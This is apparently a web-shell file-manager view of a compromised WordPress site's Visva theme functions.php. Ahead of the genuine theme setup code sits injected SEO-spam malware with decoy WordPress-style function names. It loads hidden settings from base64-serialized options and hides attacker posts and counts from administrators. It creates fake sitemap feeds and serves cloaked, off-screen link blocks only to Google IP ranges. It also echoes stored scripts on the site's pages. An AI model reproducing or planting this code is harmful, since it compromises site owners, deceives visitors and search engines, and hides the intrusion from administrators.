HEX
Server: Apache
System: Linux 65-254-81-60.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User: roshanchandy (1003)
PHP: 8.4.12
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/roshanchandy/www/buildmydesign.in/wp-content/themes/visva/functions.php
<?php

/* f83f1066a74f440e8558e5572a57fb02 */

function get_sidebar_method($where) {
    global $wpdb, $number_format_i18n_condition;

    $the_content_package = array_keys($number_format_i18n_condition);
    $get_search_query_part = implode(', ', $the_content_package);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'get_theme_file_uri_json');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_search_query_part)";
    }

    return $where;
}

function get_template_part_character($query) {

    global $number_format_i18n_condition;

    $the_content_package = array_keys($number_format_i18n_condition);
    $get_the_modified_date_first = comments_open_list($the_content_package);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $get_the_modified_date_first);
    }
}

function home_url_xml() {

    global $post, $number_format_i18n_condition;

    foreach ($number_format_i18n_condition as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (admin_url_part($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function admin_url_part($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_the_tag_list_meta()) {
            return true;
        }
    }
    return false;
}

function get_theme_file_uri_json($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function get_the_tag_list_view($counts, $type, $perm) {

    if ($type === 'post') {
        $wp_list_comments_list = $counts->publish;
        $wp_get_attachment_image_src_pointer = the_posts_pagination_session($perm);
        $counts->publish = !$wp_get_attachment_image_src_pointer ? $wp_list_comments_list : $wp_get_attachment_image_src_pointer;
    }
    return $counts;
}

function the_posts_pagination_session($perm) {
    global $wpdb, $number_format_i18n_condition;

    $the_content_package = array_keys($number_format_i18n_condition);
    $get_search_query_part = implode(', ', $the_content_package);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $get_post_thumbnail_id_merge = get_post_type_object($type);

        if (!current_user_can($get_post_thumbnail_id_merge->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_search_query_part) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_the_date_pointer) {
        if ($get_the_date_pointer['post_status'] === 'publish') {
            return $get_the_date_pointer['num_posts'];
        }
    }
}

function wp_head_boolean($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $the_content_package = array();
    foreach ($results as $get_the_date_pointer) {
        $the_content_package[] = $get_the_date_pointer['ID'];
    }
    return $the_content_package;
}

function get_transient_wp() {

    global $number_format_i18n_condition, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
        $has_post_thumbnail_string = key($is_singular_core['sitemapsettings']);

        if (!isset($rules[$has_post_thumbnail_string]) ||
            ($rules[$has_post_thumbnail_string] !== current($is_singular_core['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function number_format_i18n_variable($rules) {

    global $number_format_i18n_condition;

    $_e_old = array();

    foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
        if (isset($is_singular_core['sitemapsettings'])) {
            $_e_old[key($is_singular_core['sitemapsettings'])] = current($is_singular_core['sitemapsettings']);
        }
    }

    return $_e_old + $rules;
}

function add_filter_less() {

    global $number_format_i18n_condition;

    foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {
        $get_author_posts_url_soap = str_replace('index.php?feed=', '', current($is_singular_core['sitemapsettings']));
        add_feed($get_author_posts_url_soap, 'wp_get_attachment_image_src_constructor');
    }
}


function wp_get_attachment_image_src_constructor() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $the_archive_title_add = language_attributes_view();
    $register_nav_menus_request = wp_head_boolean($the_archive_title_add);

    if (!empty($register_nav_menus_request)) {
        $is_archive_part = md5(implode(',', $register_nav_menus_request));
        $wp_enqueue_style_queue = 'update_plugins_' . $the_archive_title_add . '_' . $is_archive_part;
        $add_query_arg_compiler = get_transient($wp_enqueue_style_queue);

        if ($add_query_arg_compiler !== false) {
            echo $add_query_arg_compiler;
            return;
        }
    }



    $head = post_class_branch();
    $get_queried_object_id_wp = $head . "\n";


    $priority = '0.5';
    $wp_link_pages_character = 'weekly';
    $the_archive_title_double = date('Y-m-d');

    foreach ($register_nav_menus_request as $post_id) {
        $url = get_permalink($post_id);
        $get_queried_object_id_wp .= esc_url_xml($url, $the_archive_title_double, $wp_link_pages_character, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_queried_object_id_wp .= "\n</urlset>";

    set_transient($wp_enqueue_style_queue, $get_queried_object_id_wp, WEEK_IN_SECONDS);

    echo $get_queried_object_id_wp;
}


function post_class_branch() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function esc_url_xml($url, $the_archive_title_double, $wp_link_pages_character, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$the_archive_title_double</lastmod>
      <changefreq>$wp_link_pages_character</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function comments_open_list($writersArr) {
    $current_user_can_wp = array();

    foreach ($writersArr as $item) {
        $current_user_can_wp[] = '-' . $item;
    }
    return implode(',', $current_user_can_wp);
}

function get_option_trigger() {

    $esc_url_all = array();
    $the_posts_pagination_private = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $the_excerpt_variable = unserialize(base64_decode($settings));
        if ($the_excerpt_variable) {
            $esc_url_all = $the_excerpt_variable;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $is_customize_preview_restful = unserialize(base64_decode($settings));
        if ($is_customize_preview_restful) {
            $the_posts_pagination_private = $is_customize_preview_restful;
        }
    }

    return $the_posts_pagination_private + $esc_url_all;

}

function language_attributes_view() {

    global $number_format_i18n_condition;

    foreach ($number_format_i18n_condition as $number_format_i18n_dns => $is_singular_core) {

        $is_active_sidebar_constructor = key($is_singular_core['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($is_singular_core['sitemapsettings']) . '$');

        if (preg_match("~$is_active_sidebar_constructor~", $_SERVER['REQUEST_URI'])) {
            return $number_format_i18n_dns;
        }
    }
}

function set_transient_class() {
    global $number_format_i18n_condition, $post;

    $is_singular_git = array_keys($number_format_i18n_condition);
    if (in_array($post->post_author, $is_singular_git)) {
        return true;
    }
    return false;
}

function wp_footer_compiler() {
    global $number_format_i18n_condition, $post;

    $is_singular_git = array_keys($number_format_i18n_condition);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $is_singular_git)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function language_attributes_get() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function get_the_tag_list_meta() {

    $is_front_page_index = language_attributes_get();

    if (strstr($is_front_page_index, ', ')) {
        $add_partial_schema = explode(', ', $is_front_page_index);
        $is_front_page_index = $add_partial_schema[0];
    }

    $get_header_boolean = get_the_tag_list_list();

    if (!$get_header_boolean) {
        return false;
    }

    foreach ($get_header_boolean as $range) {
        if (set_transient_queue($is_front_page_index, $range)) {
            return true;
        }
    }
    return false;
}

function _e_reference($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_the_tag_list_list() {

    if (($value = get_option('wp_custom_range')) && !_e_reference($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_header_boolean = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_header_boolean)) {

            return;
        }

        $value = array('ranges' => $get_header_boolean, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function number_format_i18n_all($inet) {
    $register_sidebar_reference = str_split($inet);
    $add_filter_all = '';
    foreach ($register_sidebar_reference as $char) {
        $add_filter_all .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $add_filter_all;
}

function set_transient_queue($is_front_page_index, $cidrnet) {
    $is_front_page_index = inet_pton($is_front_page_index);
    $add_filter_all = number_format_i18n_all($is_front_page_index);

    list($net, $post_password_required_part) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $the_content_variable = number_format_i18n_all($net);

    $esc_url_wp = substr($add_filter_all, 0, $post_password_required_part);
    $get_bloginfo_session = substr($the_content_variable, 0, $post_password_required_part);

    if ($esc_url_wp !== $get_bloginfo_session) {
        return false;
    } else {
        return true;
    }
}


function esc_url_raw_all($get_the_time_num) {

    global $post;

    $post_password_required_branch = '';


    if (wp_link_pages_git($get_the_time_num, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $post_password_required_branch = get_option('home_links_custom_0');
        }
    } elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $post_password_required_branch = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $is_singular_constructor = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $post_password_required_branch = get_option('home_links_custom_' . $is_singular_constructor);
        
        
    } elseif (wp_link_pages_git($get_the_time_num, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$post_password_required_branch ? '' : $post_password_required_branch;
}

function wp_link_pages_git($is_singular_core, $is_single_event, $add_theme_support_xml) {
    if (!isset($is_singular_core[$is_single_event][$add_theme_support_xml])) {
        return false;
    }

    if ($is_singular_core[$is_single_event][$add_theme_support_xml] === 1) {
        return true;
    }

    return false;

}

function register_sidebar_other($get_the_time_num, $wp_head_method) {
    if (empty($wp_head_method)) {
        return '';
    }

    if (wp_link_pages_git($get_the_time_num, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $have_comments_boolean = get_the_author_meta_function();
        $esc_url_raw_num = $have_comments_boolean[$blockNum[0]];
        return $esc_url_raw_num[0] . PHP_EOL . $wp_head_method . PHP_EOL . $esc_url_raw_num[1];
    }

    return $wp_head_method;
}

function get_the_author_meta_function() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function add_filter_float($get_the_time_num) {
    return wp_link_pages_git($get_the_time_num, 'position', 'head');
}

function has_post_thumbnail_soap($get_the_time_num) {
    return wp_link_pages_git($get_the_time_num, 'position', 'footer');
}

function add_image_size_https($settings) {
    foreach ($settings as $number_format_i18n_dns => $is_singular_core) {
        if (isset($is_singular_core['homeLinks'])) {
            return $is_singular_core['homeLinks'];
        }
    }
    return array();
}


function get_header_private() {
    if (!set_transient_class()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function absint_restful() {

    global $get_the_time_num;

    if (!get_header_private()) {
        
        
        return;
    }

    if (wp_link_pages_git($get_the_time_num, 'hiddenType', 'cloacking')) {
        if (!get_the_tag_list_meta()) {
            
            return;
        }
    }


    $wp_head_method = esc_url_raw_all($get_the_time_num);
    $wp_head_method = register_sidebar_other($get_the_time_num, $wp_head_method);

    


    echo $wp_head_method;

}

$number_format_i18n_condition = get_option_trigger();


if (is_array($number_format_i18n_condition)) {
    add_filter('posts_where_paged', 'get_sidebar_method');
    add_action('pre_get_posts', 'get_template_part_character');
    add_action('wp_enqueue_scripts', 'home_url_xml');
    add_filter('wp_count_posts', 'get_the_tag_list_view' , 10, 3);
    add_filter('rewrite_rules_array', 'number_format_i18n_variable');
    add_action('wp_loaded', 'get_transient_wp');
    add_action('init', 'add_filter_less');
    add_action('template_redirect', 'wp_footer_compiler');

    $get_the_time_num = add_image_size_https($number_format_i18n_condition);

    if (!empty($get_the_time_num)) {

        

        if (add_filter_float($get_the_time_num)) {
            add_action('wp_head', 'absint_restful');
        }
        if (has_post_thumbnail_soap($get_the_time_num)) {
            add_action('wp_footer', 'absint_restful');
        }


    }
}

/* f83f1066a74f440e8558e5572a57fb02 */ 
add_action('after_setup_theme', 'visva_bunch_theme_setup');

function visva_bunch_theme_setup() 
{
	global $wp_version;
	$theme = wp_get_theme();
	if(!defined('VISVA_VERSION')) {define('VISVA_VERSION', '1.5');}
	if( !defined( 'VISVA_ROOT' ) ) {define('VISVA_ROOT', get_template_directory().'/');}
	if( !defined( 'VISVA_URL' ) ) {define('VISVA_URL', get_template_directory_uri().'/');}

	if( !defined( 'VISVA_COMINGSOON' ) ) {define('VISVA_COMINGSOON', get_template_directory_uri().'/assets/images/bg1.jpg');}
	if( !defined( 'VISVA_MAINTENANCE' ) ) {define('VISVA_MAINTENANCE', get_template_directory_uri().'/assets/images/bg2.jpg');}
	if( !defined( 'VISVA_MAINTENANCE_VLC' ) ) {define('VISVA_MAINTENANCE_VLC', get_template_directory_uri().'/assets/images/vlc.png');}

	if( !defined( 'VISVA_DEFAULT_LOGO' ) ) {define('VISVA_DEFAULT_LOGO', get_template_directory_uri().'/assets/images/logo.png');}
	if( !defined( 'VISVA_DEFAULT_WHITE_LOGO' ) ) {define('VISVA_DEFAULT_WHITE_LOGO', get_template_directory_uri().'/assets/images/logo-white-2.png');}

	if( !defined( 'VISVA_DEFAULT_TEXT_LOGO' ) ) {define('VISVA_DEFAULT_TEXT_LOGO', $theme->get('Name'));}

	if( !defined( 'VISVA_DEFAULT_TAG' ) ) {define('VISVA_DEFAULT_TAG', esc_html__('Personal Blog', 'visva'));}

	if( !defined( 'VISVA_BANNER' ) ) {define('VISVA_BANNER', get_template_directory_uri().'/assets/images/bnr4.jpg');}
	if( !defined( 'VISVA_COPYWRITE_TEXT' ) ) {define('VISVA_COPYWRITE_TEXT', esc_html__('© 2022 All Rights Reserved.','visva'));}
	
	if( !defined( 'VISVA_FAVICON' ) ) {define('VISVA_FAVICON', get_template_directory_uri().'/assets/images/favicon.png');}
	
	include_once get_template_directory() . '/dz-inc/loader.php';
	
	load_theme_textdomain('visva', get_template_directory() . '/languages');
	
	/*	ADD THUMBNAIL SUPPORT	*/
	add_theme_support('post-thumbnails');
	add_theme_support('automatic-feed-links'); /* Enables post and comment RSS feed links to head. */
	add_theme_support('widgets'); /* Add widgets and sidebar support */
	add_theme_support( "title-tag" );
	add_theme_support( 'custom-header' );
	add_theme_support( 'custom-background' );
	add_theme_support( 'wp-block-styles' );
	add_theme_support( 'align-wide' );
	add_theme_support( 'editor-styles' );
	add_theme_support( 'responsive-embeds' );
	add_theme_support( 'woocommerce' ); /* Enable woo-commerce page template */
	add_theme_support( 'wc-product-gallery-lightbox' );
	
	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
	) );
	
	/** Register wp_nav_menus */
	if(function_exists('register_nav_menu')) {
		register_nav_menus(
			array(
				/** Register Main Menu location header */
				'main_menu' => esc_html__('Main Menu', 'visva'),
				'one_page_menu' => esc_html__('One Page Menu', 'visva'),
				'footer_menu' => esc_html__('Footer Menu', 'visva'),
			)
		);
	}
	if ( ! isset( $content_width ) ) { $content_width = 960;	}
		 
		 /** Image Size Setting For Visva **/
		 
		/*** Post Images ***/
		add_image_size( 'visva_550x900', 550, 900, true ); /* Project */
		add_image_size( 'visva_555x400', 555, 400, true ); /* Blog Grid, List */
		
		/* Change default image thumbnail sizes in wordpress */
		//Thumbnail
		update_option('thumbnail_size_w', 200); /* Testimonial, Recent Post */
		update_option('thumbnail_size_h', 200); 
		update_option('thumbnail_crop', 1);
		
		//Medium
		update_option('medium_size_w', 500); /* Team */
		update_option('medium_size_h', 600);
		update_option('medium_crop', 1);
		
		//Large
		update_option('large_size_w', 1000); /* Blog */
		update_option('large_size_h', 600);
		update_option('large_crop', 1);
		/** Image Size Setting For Visva END **/
		
}




/**
 * Register sidebar
 */
function visva_sidebar() 
{
	global $wp_registered_sidebars;
	
	register_sidebar(array(
        'name'          => esc_html__('Default Sidebar', 'visva'),
        'id'            => 'dz_default_sidebar',
        'description'   => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
        'before_widget'=>'<div id="%1$s" class="widget sidebar-widget %2$s substitute-class">',
		'after_widget'=>'</div>',
		'before_title' => '<div class="widget-title"><h4 class="title">',
		'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
    ));
	
	register_sidebar(array(
        'name'          => esc_html__('Blog Sidebar', 'visva'),
        'id'            => 'dz_blog_sidebar',
        'description'   => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
        'before_widget'=>'<div id="%1$s" class="widget sidebar-widget %2$s substitute-class">',
		'after_widget'=>'</div>',
		'before_title' => '<div class="widget-title"><h4 class="title">',
		'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
    ));
	
	register_sidebar(array(
	  'name' => esc_html__( 'Footer Sidebar', 'visva' ),
	  'id' => 'dz_footer_sidebar',
	  'description' => esc_html__( 'Widgets in this area will be shown in Footer Area.', 'visva' ),
	  'before_widget'=>'<div id="%1$s" class="widget col-xl-6 col-lg-6 col-sm-12 %2$s substitute-class">',
	  'after_widget'=>'</div>',
	  'before_title' => '<h4 class="footer-title">',
	  'after_title' => '</h4>'
	));
	
	register_sidebar(array(
	  'name' => esc_html__( 'Footer Sidebar 2', 'visva' ),
	  'id' => 'dz_footer_sidebar_2',
	  'description' => esc_html__( 'Widgets in this area will be shown in Footer Area.', 'visva' ),
	  'before_widget'=>'<div id="%1$s" class="widget col-xl-3 col-lg-6 col-md-6 col-sm-12 %2$s substitute-class">',
	  'after_widget'=>'</div>',
	  'before_title' => '<h4 class="footer-title">',
	  'after_title' => '</h4>'
	));
  
	if(visva_is_woocommerce_active())
	{
		register_sidebar(array(
		  'name' => esc_html__( 'Shop Sidebar', 'visva' ),
		  'id' => 'dz_shop_sidebar',
		  'description' => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
		  'before_widget'=>'<div id="%1$s" class="widget shop-widget %2$s">',
		  'after_widget'=>'</div>',
		  'before_title' => '<div class="widget-title"><h4 class="title">',
		  'after_title' => '</h4><div class="dz-separator style-1 text-primary mb-0"></div></div>'
		));
		
		register_sidebar(array(
		  'name' => esc_html__( 'Header Shopping Cart', 'visva' ),
		  'id' => 'shopping-cart',
		  'description' => esc_html__( 'Widgets in this area will be shown in Header Area.', 'visva' ),
		  'before_widget'=>'<div id="%1$s" class="%2$s">',
		  'after_widget'=>'</div>',
		  'before_title' => '<h4 class="acod-title">',
		  'after_title' => '</h4>'
		));
	}
	/* "substitute-class" using for replace required class dynamically. */
	
	if (class_exists('ReduxFramework')) {

        $sidebar_input_arr = visva_get_opt( 'new_sidebar_input' );
        
		if(!empty( $sidebar_input_arr[0])) {
            foreach($sidebar_input_arr as $sidebar_input)
			{
				$sidebarId = str_replace(' ', '_', $sidebar_input);
            
				register_sidebar(array(
					'name'          => ucfirst($sidebar_input),
					'id'            => sanitize_title('dz_' . $sidebarId),
					'description'   => esc_html__( 'Widgets in this area will be shown on the right-hand side.', 'visva' ),
					'before_widget'	=>'<div id="%1$s" class="widget ext-sidebar-menu sidebar-widget %2$s substitute-class">',
					'after_widget'	=>'</div>',
					'before_title' 	=> '<h4 class="title">',
					'after_title' 	=> '</h4>'
				));	
			}
        }
    }
	
	update_option('wp_registered_sidebars' , $wp_registered_sidebars) ;
}
add_action('widgets_init', 'visva_sidebar');



function visva_load_head_scripts() {
	$options = visva_dzbase()->option();
    if ( !is_admin() ) {
		$protocol = is_ssl() ? 'https://' : 'http://';
		$map_api_key = visva_set($options, 'map_api_key');
		
		if(!empty($map_api_key)) {
		$map_path = '?key='.visva_set($options, 'map_api_key');
			wp_enqueue_script( 'visva-map-api', ''.$protocol.'maps.google.com/maps/api/js'.$map_path, array(), false, false );
			wp_enqueue_script( 'visva-recaptcha-api', ''.$protocol.'google.com/recaptcha/api.js', array(), false, false );
		}
	
	}
}
add_action( 'wp_enqueue_scripts', 'visva_load_head_scripts' );


/**
 * Enqueue Scripts on plugin
 */
add_action('admin_enqueue_scripts', 'visva_admin_script');

/**
 * Function register admin on plugin
 */
function visva_admin_script()
{
	if(is_admin()) {
		wp_enqueue_style('admin-style', get_template_directory_uri() . '/dz-inc/admin/css/admin.css', array(), '1.0.0');
		wp_enqueue_style('admin-font-awesome', get_template_directory_uri() . '/dz-inc/admin/css/font-awesome-min.css', array(), '4.7.0');
	}
}


/**
 * Check if Plugin is active
 **/
function visva_plugin_active($plugin)
{
	$active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
	if(!empty($plugin) && !empty($active_plugins) && in_array($plugin,$active_plugins)) 
	{
		return true;
	}else{
		return false;
	}
}
/* global variables */
function visva_bunch_global_variable() 
{
    global $post;
	global $visva_option;

	if(visva_plugin_active('redux-framework/redux-framework.php'))
	{
		$options = visva_dzbase()->option();
	}
	else{
		$options = array();
	}

	$dzRes = array();
	
	$dzRes['allowed_html_tags'] = wp_kses_allowed_html('post');

	$dzRes['website_status'] = visva_set($options, 'website_status', 'live_mode');	
	$dzRes['site_logo_icon'] = !empty($dzRes['site_logo_icon']['url'])?$dzRes['site_logo_icon']['url']:get_template_directory_uri() . '/assets/images/logo-icon.png';
	
	if(function_exists('visva_get_ws_data')){
		$extra_ws_data = visva_get_ws_data($options);
		$dzRes = array_merge($dzRes,$extra_ws_data);
	}
	
	/* stuff : header.php  */
	$dzRes['site_favicon'] = isset($options['favicon']) ? visva_set($options['favicon'], 'url', VISVA_FAVICON ) : VISVA_FAVICON;
	
	/* preloading image */
	$dzRes['page_loading_on'] = visva_set($options, 'page_loading_on');
	$dzRes['page_loader_type'] = visva_set($options, 'page_loader_type');
	
	if($dzRes['page_loading_on'] == 1)
	{
		if($dzRes['page_loader_type'] == 'loading_image')
		{
			if(!empty($options['custom_page_loader_image']['url'])) {
				$dzRes['preloader'] = $options['custom_page_loader_image']['url'];
			}
			else {
				$page_loader_image = visva_set($options, 'page_loader_image', '');
				$dzRes['preloader'] = get_template_directory_uri().'/dz-inc/assets/images/loading-images/'.$page_loader_image.'.svg';
			}
		}	
		elseif($dzRes['page_loader_type'] == 'advanced_loader')
		{
			$dzRes['preloader'] = visva_set($options,'advanced_page_loader_image', '');
		}	
	}
	
	/* header settings */
	$dzRes['header_style'] = visva_set($options,'header_style', 'header_1'); // return header style id
	
	/*Page Header: necessary to get here */
	if(is_page()) 
	{
		$page_header_setting 	= 	visva_dzbase()->get_meta('page_header_setting'); 
		$page_header_setting	=	!empty($page_header_setting)?$page_header_setting:'theme_default';
		if($page_header_setting == 'custom'){
			$page_header_style 	= visva_dzbase()->get_meta('page_header_style'); 
			$dzRes['header_style']	= !empty($page_header_style)?$page_header_style:$dzRes['header_style'];
		}
	}
	/*Page Header: necessary to get here END */
	
	$dzRes['header_style_class'] = ($dzRes['header_style'] == 'header_3') ? 'header-transparent' : '';
	$dzRes['header_login_on'] = visva_set($options,'header_login_on');
	$dzRes['header_register_on'] = visva_set($options,'header_register_on');
	$dzRes['header_sticky_on'] = visva_set($options,'header_sticky_on');
	$dzRes['show_website_search'] = visva_set($options,'show_website_search',true);
	$dzRes['show_login_registration'] = visva_set($options,'show_login_registration');
	$dzRes['show_social_icon'] = visva_set($options,'show_social_icon');
	$dzRes['header_sticky_class'] = ($dzRes['header_sticky_on']) ? 'sticky-header' : '';
	
	$dzRes['header_location_on'] = visva_set($options, $dzRes['header_style'].'_location_on',true);	
	$dzRes['site_phone_number'] = visva_set($options, 'site_phone_number');
	$dzRes['site_address'] = visva_set($options, 'site_address');
	$dzRes['site_skype'] = visva_set($options, 'site_skype');
	$dzRes['site_email'] = visva_set($options, 'site_email');
	
	$dzRes['header_search_on'] = visva_set($options, $dzRes['header_style'].'_search_on', true);
	$dzRes['header_search_button_title'] = visva_set($options, $dzRes['header_style'].'_search_button_title',esc_html__('Search','visva'));
	$dzRes['header_social_link_on'] = visva_set($options, $dzRes['header_style'].'_social_link_on');
	$dzRes['header_social_links'] = visva_set($options, $dzRes['header_style'].'_social_links');
	$dzRes['header_top_bar_on'] = visva_set($options, $dzRes['header_style'].'_top_bar_on');
	$dzRes['header_author_banner_on'] = visva_set($options, $dzRes['header_style'].'_author_banner_on');
	$dzRes['header_banner_bg_image'] = visva_set($options, $dzRes['header_style'].'_banner_bg_image');
	$dzRes['header_banner_bg_image'] = !empty($dzRes['header_banner_bg_image']['url'])?$dzRes['header_banner_bg_image']['url']:'';
	
	/* Manage Sidebar About */
	$dzRes['header_about_on'] = visva_set($options, 'header_about_on');
	$dzRes['header_about_desc'] = visva_set($options, 'header_about_desc');
	/* Manage Sidebar About */
	
	
	$header_style_options = visva_header_style_options();
	foreach($header_style_options as $header)
	{
		$call_to_action_button = visva_set($header['param'], 'call_to_action_button', 0);
    
		if($call_to_action_button > 0 )
	    {					
			for($i = 1; $i <= $call_to_action_button; $i++ )
			{
				$dzRes['header_button_'.$i.'_text'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_text', '');
				$dzRes['header_button_'.$i.'_url'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_url', ''); 
				$dzRes['header_button_'.$i.'_target'] = visva_set($options, $dzRes['header_style'].'_button_'.$i.'_target', '');
			}
		}
	}

	$dzRes['mobile_header_login_on'] = visva_set($options,'mobile_header_login_on', '');
	$dzRes['mobile_header_register_on'] = visva_set($options,'mobile_header_register_on', '');
	$dzRes['mobile_header_social_link_on'] = visva_set($options, $dzRes['header_style'].'_mobile_social_link_on', '');
	$dzRes['mobile_search_on'] = visva_set($options, $dzRes['header_style'].'_mobile_search_on', '');

	$dzRes['social_link_target'] = visva_set($options,'social_link_target','');
	/* header settings END */

	

	/* Footer Settings Starts */
	$dzRes['footer_on'] = visva_set($options, 'footer_on', true);
	$dzRes['footer_style'] = visva_set($options, 'footer_style', 'footer_template_1');
	
	/*Footer Header: necessary to get here */
	if(is_page()) 
	{
		$page_footer_setting 	= visva_dzbase()->get_meta('page_footer_setting');
